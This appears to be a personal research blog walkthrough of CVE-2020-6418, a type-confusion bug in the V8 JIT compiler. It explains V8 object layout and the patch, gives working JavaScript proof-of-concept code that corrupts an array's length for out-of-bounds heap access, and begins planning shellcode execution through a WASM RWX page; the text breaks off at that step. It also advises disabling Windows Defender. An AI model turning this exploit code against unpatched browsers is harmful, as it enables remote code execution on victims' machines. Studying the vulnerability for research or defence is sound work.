Setup

Since this is a JIT bug, only the v8 Engine is needed to exploit the bug in this CVE. to do that, we can follow the instructions from https://v8.dev/docs/build. It provides the necessary tools needed to get the v8 source code the proper way. In this report, however, there are a few configurations that were used that might be different.

If you have visual studio preinstalled, you will also need to set the environment variable DEPOT_TOOLS_WIN_TOOLCHAIN to 0.
To be safe, disable smart screen and Windows Defender as well to avoid the risk of getting This app can't run on your PC (which means to recompile v8) and to have your files quarantine midway when windows decided that your exploit is malicious.
checkout the vulnerable commit hash bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07 followed by gclient sync. You can get the commit hash by entering the following.

git rev-list --parents -n 1 fb0a60e15695466621cf65932f9152935d859447 # This patch commit can be found in the bug report

in the output build directory, the following arguments are added before doing the gn gen /output/path command. This helps to give more verbose information targeting 64 bits architecture

is_debug = false
target_cpu = "x64"
v8_enable_object_print = true
symbol_level = 2
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

The Bug Report at FIRST Glance

The bug report originates from https://bugs.chromium.org/p/chromium/issues/detail?id=1053604. Descriptive vulnerability details, POC, and the patch are provided in that bug report.

The following are taken from the link provided.

Incorrect side effect modelling for JSCreate

The function NodeProperties::InferReceiverMapsUnsafe [1] is responsible for inferring the Map of an object. From the documentation: “This information can be either “reliable”, meaning that the object is guaranteed to have one of these maps at runtime, or “unreliable”, meaning that the object is guaranteed to have HAD one of these maps.”. In the latter case, the caller has to ensure that the object has the correct type, either by using CheckMap nodes or CodeDependencies.

On a high level, the InferReceiverMapsUnsafe function traverses the effect chain until it finds the node creating the object in question and, at the same time, marks the result as unreliable if it encounters a node without the kNoWrite flag [2], indicating that executing the node could have side-effects such as changing the Maps of an object. There is a mistake in the handling of kJSCreate [3]: if the object in question is not the output of kJSCreate, then the loop continues without marking the result as unreliable. This is incorrect because kJSCreate can have side-effects, for example by using a Proxy as the third argument to Reflect.construct. The bug can then for example be triggered by inlining Array.pop and changing the elements kind from SMIs to Doubles during the unexpected side effect.

After reading the description, I have highlighted some of the seemingly important details as shown above. There are many keywords that I did not understand since it was the first time for me in the world of JavaScript engine.

This part will be used to focus on some of the basic concepts (Object, Element Kinds, Pointer Compression, Maps, Reflect.construct,Proxy) and how they are represented in memory before diving into the bug report analysis of CVE 2020-6418. When explaining the concepts, we will be doing that with d8.exe, a useful debugging tool for the v8 JavaScript Engine.

Things that we need to be aware of

In this section, we will take a look at the different types of Javascript objects. For this n-day, we are interested in the following three Data Structure :

JSObject
JSArray
ArrayBuffer
DataView

`JSObject`

Looking into the source code, we can trace it into the following structure.

----------------------
|         MAP        |
----------------------
| PROPERTIES_OR_HASH |
----------------------
|      ELEMENTS      |
----------------------

Map here contains a pointer to the map object which describes the object. For example, in named arrays, the maps stores name of the properties while the values can be stored in the object itself. This allows for the sharing of maps with several arrays that use the same-named properties. Next, we also note that there is an element field which contains a pointer to kind of the “store” of the array. For instance, if it contains just doubles, the field would contain a pointer pointing to FixedDoubleArray. You will see more of FixedDoubleArray in a while.

For instance:

V8 version 8.2.0 (candidate)
d8> let aa = [1,2,3]
undefined
 
d8> %DebugPrint(aa)
DebugPrint: 000003100808575D: [JSArray]
 - map: 0x0310082417f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x031008208dcd <JSArray[0]>
 - elements: 0x03100820fbed <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 3
 - properties: 0x0310080406e9 <FixedArray[0]> {
    #length: 0x031008180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x03100820fbed <FixedArray[3]> {
           0: 1
           1: 2
           2: 3
 }
00000310082417F1: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x03100804030d <undefined>
 - prototype_validity cell: 0x031008180451 <Cell value= 1>
 - instance descriptors #1: 0x031008209455 <DescriptorArray[1]>
 - transitions #1: 0x031008209471 <TransitionArray[4]>Transition array #1:
     0x031008042eb9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x031008241869 <Map(HOLEY_SMI_ELEMENTS)
 
 
 - prototype: 0x031008208dcd <JSArray[0]>
 - constructor: 0x031008208ca1 <JSFunction Array (sfi = 0000031008188E41)>
 - dependent code: 0x0310080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0
  
[1, 2, 3]
d8>

Example of information that map stores include the type (JS_ARRAY_TYPE), elements kind (PACKED_SMI_ELEMENTS), and more. Also note that the map, properties, elements, and length can be seen in the debug information as well.

Next, before digging deeper, let’s take a look JSArray in memory. Open the d8.exe executable in winDBG or any debugger that you prefer and make sure to add the command argument --allow-natives-syntax for more debug information when using %DebugPrint().Run the binary and type let aa = [1,2,3]. Then type %DebugPrint(aa),

You should get similar information as shown previously. Finally, in the memory window, head on to the location of the JSArray minus 1. In this case, its 000003100808575D - 1. The reason why we need to subtract one is due to the way the engine distinguishes between a number and a pointer address. For the pointer address, it is denoted with the least significant bit as 1. So by subtracting one, we should be able to find the actual address in memory. Now pause the debugger and we should see the memory dump at that location.

jsArray in memory

There a few questions that would arise with this image.

Pointer Compression

Why do we get 4 bytes when the address is 8 bytes for address?

This is to avoid having to allocate a new number object each time an integer is incremented, V8 uses the well-known pointer tagging technique to store additional or alternative data in V8 heap pointers. These values are considered compressed tagged values

To find out more, check out https://v8.dev/blog/pointer-compression

The following snippet shows the gist of uncompressing tagged values.

int32_t compressed_tagged;
  
// Same code for both pointer and Smi cases
int64_t sign_extended_tagged = int64_t(compressed_tagged);
int64_t selector_mask = -(sign_extended_tagged & 1);
// Mask is 0 in case of Smi or all 1s in case of pointer
int64_t uncompressed_tagged =
    sign_extended_tagged + (base & selector_mask);

Note that for pointers, there is this base that is added to the compressed tagged value. This means that the base for this JSArray should be 0x000031000000000 which would add to the 4 bytes value giving 00000310082417F1 which corresponds with the output in DebugPrint.

We can visualize this with the following diagram from the reference link as well.

            |----- 32 bits -----|----- 32 bits -----|
Pointer:    |________base_______|______offset_____w1|

Why is the length field 6 and not 3?

The number 6 here is considered as an SMI which stands for SMall Integers. It is stored in memory in the following format.

Here s refers to the signed bits
  
         |----- 32 bits -----|----- 32 bits -----|
Smi:     |sssssssssssssssssss|____int31_value___0|
  
This is such that we can get back the sign bit with just one arithmetic shift to the right.

Therefore, to get back the signed value, we can simply do a Bitwise shift operator to the right by 1 bit, which essentially divides the value by 2. Since the value in memory is 6, we know that 6>>1 = 3.

One more thing to take note of is that doubles are stored in IEEE754 formatting in 8 bytes while SMI and pointers to objects are stored as 4 bytes as compressed values.

These values are stored in FixedDoubleArray containing the following structure.

----------------------
|         MAP        |
----------------------
|       LENGTH       |
----------------------
|      float_0       |
----------------------
|        .....       |
----------------------
|      float_(n-1)   |
----------------------

We can see that from the following snippet.

macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {
  if (length == 0) return kEmptyFixedArray;
  return new
  FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};
}
  
macro NewFixedDoubleArray<Iterator: type>(
    length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
  if (length == 0) return kEmptyFixedArray;
  return new FixedDoubleArray{
    map: kFixedDoubleArrayMap,
    length: Convert<Smi>(length),
    floats: ...it
  };
}

`JSArray`, `ArrayBuffer` and `DataView`

Let’s now take a look at the other three data structures.

`JSArray`

The following shows the data structure of JSArray which is very similar to the JSObject with addition of length.

----------------------
|         MAP        |
----------------------
| PROPERTIES_OR_HASH |
----------------------
|      ELEMENTS      |
----------------------
|       LENGTH       |
----------------------

and where we can find that in the source code

//class JSArray : public JSObject { ........
 
.
.
.
  
macro NewJSArray(implicit context: Context)(
    map: Map, elements: FixedArrayBase): JSArray {
  return new JSArray{
    map,
    properties_or_hash: kEmptyFixedArray,
    elements,
    length: elements.length
  };
}

For JSArrayBuffer, we see the following snippet.

extern class JSArrayBuffer extends JSObject {
  byte_length: uintptr;
  backing_store: RawPtr;
}

and so the structure looks like this in memory

----------------------
|         MAP        |
----------------------
| PROPERTIES_OR_HASH |
----------------------
|      ELEMENTS      |
----------------------
|     BYTE_LENGTH    |  <-- stored as not SMI so don't be too confused later on
----------------------
|    BACKING_STORE   |
----------------------

BackingStore is a pointer to memory that indicates where values should be stored. One way that we can store values into the backing store is to use DataView. DataView accepts JSArrayBuffer as input and uses functions like setUint32() to store values into the memory pointer by the backing_store.

let arrayBuffer = new ArrayBuffer(0x100);
let dataview = new DataView(arrayBuffer);

With DataView, we can also specify at which offset from the backing_store is useful for copying data into memory like shellcode.

dataview.setUint32(0,0x41414141,true); // Set the value of 0x41414141 into offset 0 of backing store of arrayBuffer.
  
// Now what will happen if we corrupt the backing store and point it to somewhere we desire and write into there? hmmmm

`DataView`

For DataView, we do not need to know the structure but here it is anyway.

@abstract
extern class JSArrayBufferView extends JSObject {
  buffer: JSArrayBuffer;
  byte_offset: uintptr;
  byte_length: uintptr;
}
 
extern class JSDataView extends JSArrayBufferView { data_pointer: RawPtr; }

with the structure looking something like this.

----------------------
|         MAP        |
----------------------
| PROPERTIES_OR_HASH |
----------------------
|      ELEMENTS      |
----------------------
|      BUFFER        |
----------------------
|     BYTE_OFFSET    |
----------------------
|    BYTE_LENGTH     |
----------------------
|    DATA_POINTER     |
----------------------

Some other things that we need to be aware of

For this n-day, it does not include sandbox escape which means that this is should only be possible if and only if we disable sandbox with --no-sandbox flag when opening with Chrome.

In v8, during the execution of javascript code, the engine would interpret the javascript code and converting them eventually into bytecodes. If the function is considered “hot” (basically a highly reused piece of code), it would then attempt to let its optimization compiler (TurboFan) to create highly optimized JIT (Just-In-Time) code the next time the function is being called again.

The following snippet shows an example of a hot function.

function empty(){}
for(let i = 0 ; i < 100000; i++){
  empty();
}

The process of optimizations would make very smart assumptions about the piece of code and will try to optimize based on those assumptions. This allows for potential type confusion bugs which can happen when wrong assumptions are being made since Javascript is a dynamically typed language. For example, if the compiler is not clear about a certain type, security checks are added and once it is clear, or so it thinks, it might remove the security checks which makes it vulnerable.

Some great links talks more about this. One excellent article that explains JIT bugs is this phrack article by Saelo, http://phrack.org/papers/jit_exploitation.html which can also be coupled with this video at https://www.youtube.com/watch?v=emt1yf2Fg9g which is also very good for gaining more insights into attacking JIT compilers. Many things are going on during the optimization which I still do not understand by the main type of optimization that is of interest is the type lowering reduction side of optimization. We can also get more insights into the optimization pipeline from these slides at https://docs.google.com/presentation/d/1sOEF4MlF7LeO7uq-uThJSulJlTh—wgLeaVibsbb3tc/edit#slide=id.g5499b9c42_01251.

`Reflect.construct`

According to documentation, Reflect.construct() acts like the new operator but as a function. It is akin to calling new target(...args). This would allow to “create” somewhat like a cloned function object.

This means that we can create a function like the following.

d8> const args = [64,36];
undefined
d8> function add(x,y){this.sum=x+y;}
undefined
d8> const test = Reflect.construct(add,args);
undefined
d8> test.sum
100
d8>

Proxy

This is another important and useful object. According to the documentation:

The Proxy object enables you to create a proxy for another object, which can intercept and redefine fundamental operations for that object.

This allows for interception and changing some things about the object when it is assumed to be not changeable. This also means that there are still some undesirable side effects. Proxy is therefore especially useful which we will see later on in the POC.

An example of its usage is as follows:

 
const target = {
  message1: "hello",
  message2: "everyone"
};
  
const handler2 = {
  get: function(target, prop, receiver) {
    return "world";
  }
};
  
const proxy2 = new Proxy(target, handler2);
  
console.log(proxy2.message1); // world
console.log(proxy2.message2); // world

It creates that target object that we want to intercept. The get() handler is implemented which allows attempts to access properties in the target.

Last Note Before Diving into the Bug

Now that we have a peek into some of the things that we need to be aware of, we can now start to look into the bug report for this CVE.

The Bug Report at SECOND Glance

The following is the bug report description.

Vulnerability exploited in the wild in targeted attacks, here is the root cause analysis done by saelo@

Incorrect side effect modelling for JSCreate

The function NodeProperties::InferReceiverMapsUnsafe [1] is responsible for inferring the Map of an object. From the documentation: “This information can be either “reliable”, meaning that the object is guaranteed to have one of these maps at runtime, or “unreliable”, meaning that the object is guaranteed to have HAD one of these maps.”. In the latter case, the caller has to ensure that the object has the correct type, either by using CheckMap nodes or CodeDependencies.

On a high level, the InferReceiverMapsUnsafe function traverses the effect chain until it finds the node creating the object in question and, at the same time, marks the result as unreliable if it encounters a node without the kNoWrite flag [2], indicating that executing the node could have side-effects such as changing the Maps of an object. There is a mistake in the handling of kJSCreate [3]: if the object in question is not the output of kJSCreate, then the loop continues without marking the result as unreliable. This is incorrect because kJSCreate can have side-effects, for example by using a Proxy as third argument to Reflect.construct. The bug can then for example be triggered by inlining Array.pop and changing the elements kind from SMIs to Doubles during the unexpected side effect.

//Proof-of-Concept:
  
ITERATIONS = 10000;
TRIGGER = false;
  
function f(a, p) {
    return a.pop(Reflect.construct(function() {}, arguments, p));
}
  
let a;
let p = new Proxy(Object, {
    get: function() {
        if (TRIGGER) {
            a[2] = 1.1;
        }
        return Object.prototype;
    }
});
for (let i = 0; i < ITERATIONS; i++) {
    let isLastIteration = i == ITERATIONS - 1;
    a = [0, 1, 2, 3, 4];
    if (isLastIteration)
        TRIGGER = true;
    print(f(a, p));
}

Patch

diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index 7ba3a59f6f..4729323c8f 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -447,6 +447,8 @@ NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
           }
           // We reached the allocation of the {receiver}.
           return kNoReceiverMaps;
+        } else {
+            result = kUnreliableReceiverMaps;
         }
         break;
       }

We first look at the patch and realize that it is really short and simple in patching this bug. Just from the function name InferReceiverMapsResult, we can make an educated guess that it is some assumptions were made which causes the inference of the maps to be wrong. Remember that map is a data structure that stores information about an object. For example, this could cause the engine to think that an SMI array is a double array which would be bad because SMI is stored as 32 bits in memory while doubles are stored as 64 bits.

To dive more, we can head to \src\compiler\node-properties.cc in the source code where this resides.

// static
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
    JSHeapBroker* broker, Node* receiver, Node* effect,
    ZoneHandleSet<Map>* maps_return) {
  .
  .
  .
  .
  InferReceiverMapsResult result = kReliableReceiverMaps; // Default it thinks that it is reliable
  while (true) {
    switch (effect->opcode()) {
      .
      .
      .
      case IrOpcode::kJSCreate: {
        if (IsSame(receiver, effect)) {
          base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
          if (initial_map.has_value()) {
            *maps_return = ZoneHandleSet<Map>(initial_map->object());
            return result;
          }
          // We reached the allocation of the {receiver}.
          return kNoReceiverMaps;
        }
        break;
      }
      .
      .
      .

The next few thoughts are :

When does this function be called?
What is the impact of kReliableReceiverMaps?

For the first question, this function is being called MapInference. In the following snippet, I have added some comments to help with understanding.

MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect)
    : broker_(broker), object_(object) {
  ZoneHandleSet<Map> maps;
  
  // Calls the inference function to check if it is safe
  auto result =
      NodeProperties::InferReceiverMapsUnsafe(broker_, object_, effect, &maps);
  maps_.insert(maps_.end(), maps.begin(), maps.end());
  // This sets the map state. Seems there are three different types of map inference type.
  maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps)
                    ? kUnreliableDontNeedGuard
                    : kReliableOrGuarded;
  DCHECK_EQ(maps_.empty(), result == NodeProperties::kNoReceiverMaps);
}

For the second question, we can track the maps_state_

bool MapInference::Safe() const { return maps_state_ != kUnreliableNeedGuard; }
  
void MapInference::SetNeedGuardIfUnreliable() {
  CHECK(HaveMaps());
  if (maps_state_ == kUnreliableDontNeedGuard) {
    maps_state_ = kUnreliableNeedGuard;
  }
}
  
void MapInference::SetGuarded() { maps_state_ = kReliableOrGuarded; }

These are some of the functions but it seems clear that it is used to check if the map is “safe” and whether or not it needs to be guarded. This probably means that we should be able to trick the engine that a certain map does not need to be guarded and yet be able to change the object without the guard.

When attempting to look for the MapInference, we can see that it is mainly used in js-call-reducer.cc. That source file deals mainly with reduction optimization.

After scrolling, we can see something of interest; we can find switch cases which calls ReduceArrayPrototypePop. We are interested in this since the bug report mentioned that the bug can be triggered by inlining Array.pop.

Reduction JSCallReducer::ReduceJSCall(Node* node,
                                      const SharedFunctionInfoRef& shared) {
  DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
  Node* target = NodeProperties::GetValueInput(node, 0);
  
  ...
  ...
  ...
  // Check for known builtin functions.
  
  int builtin_id =
      shared.HasBuiltinId() ? shared.builtin_id() : Builtins::kNoBuiltinId;
  switch (builtin_id) {
    case Builtins::kArrayConstructor:
    ...
    ...
    ...
    case Builtins::kArrayPrototypePush:
      return ReduceArrayPrototypePush(node);
    case Builtins::kArrayPrototypePop:
      return ReduceArrayPrototypePop(node);
    ...
    ...

During optimization, the compiler would look to see if a specific node is JSCall and if it is, it would attempt reduction optimization on the function. Now, when we trace the ReduceArrayPrototypePop function we see that it would do a map inference check which

// ES6 section 22.1.3.17 Array.prototype.pop ( )
Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {
  DisallowHeapAccessIf disallow_heap_access(should_disallow_heap_access());
  
  DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
  CallParameters const& p = CallParametersOf(node->op());
  if (p.speculation_mode() == SpeculationMode::kDisallowSpeculation) {
    return NoChange();
  }
  
  Node* receiver = NodeProperties::GetValueInput(node, 1);
  Node* effect = NodeProperties::GetEffectInput(node);
  Node* control = NodeProperties::GetControlInput(node);
  
  MapInference inference(broker(), receiver, effect); // Created an MapInference object and does map inference
  if (!inference.HaveMaps()) return NoChange();
  MapHandles const& receiver_maps = inference.GetMaps();  
  
  std::vector<ElementsKind> kinds;
  if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &kinds)) {
    return inference.NoChange();
  }
  if (!dependencies()->DependOnNoElementsProtector()) UNREACHABLE();
  inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &effect,
                                      control, p.feedback());
...
...
...

This indeed is consistent with the bug report!

Analyzing the POC

In short, a total of 10000 iterations were done to force the optimization compiler to optimize the functions. The only thing that changes in the iteration is to set the array a to contain the value 1.1 at index 2 which happens after the optimization. What happens after the optimization is that the generated JIT code would assume that the object p cannot be changed anymore and have removed the map guard. However, it is possible because it is a proxy object that is interceptable. So by changing the value in array a to a double, the array a will store the IEEE754 format of 1.1 as an integer rather than a double.

Comments are placed in the POC to help figure out what is going on :

// Used in for loop to help JIT compiler mark the function as "hot"
ITERATIONS = 10000;
// This is used as a flag will be set to true once the optimization process is completed
// so that changing the guard will not be present when the array a is changed to
TRIGGER = false;
  
function f(a, p) {
  // Inlining of pop here to used to trigger the map inference
  // Reflect.construct is used also because of the possibility of putting Proxy Object at the last parameter
    return a.pop(Reflect.construct(function() {}, arguments, p));
}
  
let a;
// Creating the Proxy object with array a as its properties. Trigger is only done
let p = new Proxy(Object, {
    get: function() {
        if (TRIGGER) {
          //  JSArray stores IEEE754 format of 1.1 into array a thinking it is an integer
            a[2] = 1.1;
        }
        return Object.prototype;
    }
});
 
for (let i = 0; i < ITERATIONS; i++) {
    // make sure to trigger at the last iteration
    let isLastIteration = i == ITERATIONS - 1;
    // Creates a JSArray containing PACKED_SMI_ELEMENTS type elements  
    a = [0, 1, 2, 3, 4];
    if (isLastIteration)
        TRIGGER = true;
    // This would pop out a large number
    print(f(a, p));
}
  
 
    /*
    .
    .
    .
    4
    4
    4
    4
    4
    4
    4
    4
    4
    4
    4
    4
    4
    -858993459       <--- 0x33333333 which is lower 32 bits of the IEEE754 of 1.1
    */

From Type Confusion to OOB

Before continuing, I have referenced the POC from https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping-chrome/ before attempting the rest of the exploitation which thankfully was successful after much hair-pulling. The aforementioned link has details on their analysis as well.

This is the original poc from the site:

let a = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var b;
a.pop();
a.pop();
a.pop();
function empty() {}
function f(nt) {
    a.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
}
let p = new Proxy(Object, {
    get: function() {
        a[0] = {};
        b = [0.2, 1.2, 2.2, 3.2, 4.3];
        return Object.prototype;
    }
});
function main(o) {
  return f(o);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);
console.log(b.length);   // prints 819

These are the comments on how it works

 
// 26 elements are needed because it is the exact offset to changing the length of the neighboring array b in the heap. This could be found by debugging
let a = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var b;
 
// The reason the pop was needed is that, if the element was sized 23, and pushing values
// onto it directly would introduce more holes at the end of the array which will change the offset. By adding 26 elements and popping that off, no holes will be added at the back in memory.
a.pop();
a.pop();
a.pop();
  
 
function empty() {}
function f(nt) {
    // pushes the supposed double(object) into the confused array a writing 26*8 rather than 26*4 bytes
    // of data thus writing out of bounds.
    a.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
}
let p = new Proxy(Object, {
    get: function() {
        // !!!!!!!! This changes the doubles (8 bytes) into object(4 bytes compressed pointers)
        // !!!!!!!! For doubles, it get changed into object called HeapNumber object which points to the 8 bytes double value.
        a[0] = {};
        // start off by using doubles. Since data will be stored as 8 bytes
        b = [0.2, 1.2, 2.2, 3.2, 4.3];
        return Object.prototype;
    }
});
 
function main(o) {
  return f(o);
}
 
// the %xxxxxxxxxxxx are specifically for d8 with --allow-natives-syntax flag set
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
// The first two main would push the value onto the array a
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
// After optimization, the type confusion would be present and it would push
main(p);
console.log(b.length);   // prints 819 since

The main takeaway from the above POC is that once the type confusion sets in, the map of array a is thought to contain HOLEY_DOUBLE_ELEMENTS. After setting the first element of array a to an object, it allows us to write in 8 bytes instead of the supposed 4 bytes thus causing the out-of-bound write thus corrupting the length of the oob_array in the heap.

This is the DebugPrint message for oob_Array after the corruption of the length

```

d8> %DebugPrint(oob_Array) DebugPrint: 000003F50808A55D: [JSArray] - map: 0x03f508241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x03f508208dcd <JSArray[0]> - elements: 0x03f50808a52d <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS] - length: -961045068 ⇐--- length corrupted> - properties: 0x03f5080406e9 <FixedArray[0]> { length: 0x03f508180165 (const accessor descriptor) } - elements: 0x03f50808a52d <FixedDoubleArray[5]> { 0: 0.1 1: 0.2 2: 0.3 3: 0.4 4: 0.5 } 000003F508241891: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x03f508241869 <Map(HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x03f508180451 - instance descriptors #1: 0x03f508209455 <DescriptorArray[1]> - transitions #1: 0x03f5082094a1 <TransitionArray[4]>Transition array #1: 0x03f508042eb9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) → 0x03f5082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x03f508208dcd <JSArray[0]> - constructor: 0x03f508208ca1 <JSFunction Array (sfi = 000003F508188E41)> - dependent code: 0x03f5080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0 ```

Now that we can change the length of an array, it is possible to read and write out of bounds from the array b. We can now alter the POC to force optimizations so that we can remove the %OptimizeFunctionOnNextCall functions by introducing for loops. Without explaining too much, this is what it looks like after refactoring.

MAXITER = 100000; // 10000 wasnt enough lel
LOOPCOUNT = 100;
 
const EXPLOIT_LENGTH = 47707876338752028672E20;  //0x4141
var a = [0.1, , , , , , , , , , , , , , , , , , , , , , , 6.1, 7.1, 8.1];
var x = null;
var oob_Array = null;
  
function empty() {}
function f(nt) {
    // pushes the supposed double(object) into the confused array a writing 26*8 rather than 26*4 bytes
    // of data thus writing out of bounds.
    a.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? EXPLOIT_LENGTH : EXPLOIT_LENGTH);
    for (var i = 0; i < MAXITER; i++) {}
}
 
let p = new Proxy(Object, {
    get: function() {
        // // Creates a new proxy object that changes the a arrays from FixedDoubleArray (element size 8 – double)
        // to FixedArray (Element size 4 – object tagged pointers)
        a[0] = {};
        oob_Array = [0.1, 0.2, 0.3, 0.4, 0.5];
 
        return Object.prototype;
    }
});
 
function main(o) {
    for (var i = 0; i < MAXITER; i++) {}
    return f(o);
}
 
function oobMe() {
 
    a = [0.1, , , , , , , , , , , , , , , , , , , , , , , 6.1, 7.1, 8.1];
 
    for (var i = 0; i < MAXITER; i++) {
        empty();
    }
    a.pop();
    a.pop();
    a.pop();
 
    main(empty);
    main(empty);
    main(p);
    for (let i = 0; i < MAXITER; i++) {}
}
 
console.log("\n[+] Triggering type confusion bug\n");
oobMe();
 
for(let i = 0 ; i < 100; i++){
  console.log("oob_Array[" + i+  "] : " + oob_Array[i]);
}

This is the output from reading outside of the original length of 5. Note that the array is reading the values as doubles which are stored in IEEE754 format.

C:\Users\User\v8\out\default>d8.exe --allow-natives-syntax --shell poc1.js

[+] Triggering type confusion bug
oob_Array[0] : 0.1
oob_Array[1] : 0.2
oob_Array[2] : 0.3
oob_Array[3] : 0.4
oob_Array[4] : 0.5
oob_Array[5] : 4.7385956371820895e-270
oob_Array[6] : -5.7176043809636516e-244
oob_Array[7] : 4.7385965402169246e-270
oob_Array[8] : 4.734162078028281e-270
oob_Array[9] : 4.7341620780272485e-270
...
...
oob_Array[95] : 4.6584906348358574e-33
oob_Array[96] : 2.6192209970047e-310
oob_Array[97] : 6.43242993e-314
oob_Array[98] : 3.0172948438224255e+151
oob_Array[99] : 1.243667255451028e-307

A word of caution here is to not rely too much on console.log to print out values of the memory as it is possible to interfere with the heap layout sometimes. It took me a long time to realize what was going on. For this research, it is just to prove that the values read are the same as the values in memory and nothing more.

Let’s verify the values in memory with the above output of values of the heap.

I prefer to be able to read the values and be printed out in hex form. To do that, I have used the utilities written by Saelo from https://github.com/saelo/jscpwn namely int64.js and utils.js.

js load("C:/Users/User/v8/out/default/utils.js"); load("C:/Users/User/v8/out/default/int64.js"); ... ... ... for(let i = 0 ; i < 100; i++){ console.log("oob_Array[" + i+ "] : " + Int64.fromDouble(oob_Array[i]).toString()); }

which will output data like this.

  [+] Triggering type confusion bug

oob_Array[0] : 0x3fb999999999999a  <-- 0.1
oob_Array[1] : 0x3fc999999999999a  <-- 0.2
oob_Array[2] : 0x3fd3333333333333  <-- 0.3
oob_Array[3] : 0x3fd999999999999a  <-- 0.4
oob_Array[4] : 0x3fe0000000000000  <-- 0.5
oob_Array[5] : 0x080406e908241891
oob_Array[6] : 0x8d6f3b68080897cd
oob_Array[7] : 0x080406e9482c0a48
oob_Array[8] : 0x0804021d080406e9
...
...
...
oob_Array[93] : 0x000831c108211b11
oob_Array[94] : 0x082417f108040385
oob_Array[95] : 0x08089b6d080406e9
oob_Array[96] : 0x080404b100000010
oob_Array[97] : 0x0000013400000008
oob_Array[98] : 0x0000013200000132
oob_Array[99] : 0x08241e0900000132

Now that we can get an OOB Array and that we can practically write compressed values to heap after the location where the field elements of oob_Array points to, we can now proceed on to figure out what to do next.

Exploitation

Getting stuck, we can now try to start with the end in mind which is to pop the calculator and we will try to answer questions that might arise.

Our goal is to gain code execution and for this purpose, we can try to pop a calculator. To do that, we want to be able to write shellcode into RWX memory. This means that we need a way to write data into memory. This means that that we have a few things we need to check.

Are there any current RWX memory region (memory marked as PAGE_EXECUTE_READWRITE) that we can eventually write shellcode to?
What if there aren’t?
How are we going to write into memory assuming that the RWX memory region is somewhere before the oob_Array.
How are we supposed to decompress the address pointers when all we have are the lower 32 bits of the address?

1. Are there any current RWX memory region?

We can easily check that with !address in WinDBG.

!address -f:PAGE_EXECUTE_READWRITE

Turns out there are no RWX pages at the current moment.

2. What if there aren’t?

Since there are no RWX pages, we have to try to create one ourselves. It is possible if we were to include WASM code. This would introduce RWX pages so compiled wasm code can get written, read, and executed in that region. This also means that we need to be able to find that address somehow.

To test this out, we can create a simple WASM snippet by heading to https://wasdk.github.io/WasmFiddle/. We can use the default main function present, build and run it. Next, change the option from Text Format to Code Buffer and we should be able to see all that we need.

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
 
  
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});

Adding that to the exploit and checking again with !address, we would see something similar to this.

Now, we have rwx pages present to which we can potentially write shellcode. Most definitely, the address of this should be stored somewhere in the data structure. After some googling, we can find it when we know where the address of the wasmInstance is located in memory and then looking for an offset to the address of the RWX page. This means that we need to have an addrOf primitive so that we can get the address of objects that we want the address of. Before attempting the addrOf primitive, we can try to verify that RWX page address is indeed in memory.

Indeed, we can find that in memory assuming we know the address of wasmInstance with a fixed offset of 0x68.

Now that we can create RWX as well as leak the rwx address assuming that we have the addrOf primitive, we can now talk about how to write shellcode in memory.

3. How are we going to write into memory assuming that the RWX memory region is somewhere before the `oob_Array`.

